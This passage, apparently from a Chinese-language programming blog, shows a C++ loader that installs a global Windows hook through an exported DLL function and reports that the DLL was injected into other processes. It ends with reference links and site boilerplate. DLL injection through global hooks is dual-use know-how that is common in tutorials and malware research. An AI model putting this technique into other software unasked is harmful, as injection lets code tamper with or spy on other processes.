typedef BOOL(*PEN_HOOKSTOP)();  
int main() {     //加载dll     
	HMODULE hDll = LoadLibrary(L"./hookDll.dll");      
	if (NULL == hDll)     {         
		printf("LoadLibrary Error[%d]
", ::GetLastError());         return 1;     } 
	BOOL isHook = FALSE;      //导出函数地址     
	PEN_HOOKSTART SetGlobalHook = (PEN_HOOKSTART)GetProcAddress(hDll, "SetGlobalHook");
	if (NULL == SetGlobalHook)     {         printf("SetGlobalHook:GetProcAddress Error[%d]
", GetLastError());        
	return 2;     }     
	PEN_HOOKSTOP UnsetGlobalHook = (PEN_HOOKSTOP)GetProcAddress(hDll, "UnsetGlobalHook");      
	if (NULL == UnsetGlobalHook)     {         
		printf("UnsetGlobalHook:GetProcAddress Error[%d]
", GetLastError());         
		return 3;     }      
	isHook=SetGlobalHook();      
	if (isHook) {         printf("Hook is ok!
");     }     
	else {         printf("Hook is error[%d]
", GetLastError());     }      
	system("pause");      
	UnsetGlobalHook();      
	FreeLibrary(hDll);      
	return 0; }

使用Process Explorer查看dll:


被注入成功

参考:

https://bbs.pediy.com/thread-269910.htm#msg_header_h1_2

https://www.cnblogs.com/wf751620780/p/10730013.html#autoid-4-5-0

展开阅读全文

页面更新:2024-04-02

标签:钩子   线程   路径   函数   应用软件   进程   加载   参数   目标   消息   地址   程序

1 2 3 4 5

上滑加载更多 ↓
推荐阅读:
友情链接:
更多:

本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828  

© CopyRight 2020-2024 All Rights Reserved. Powered By 71396.com 闽ICP备11008920号-4
闽公网安备35020302034903号

Top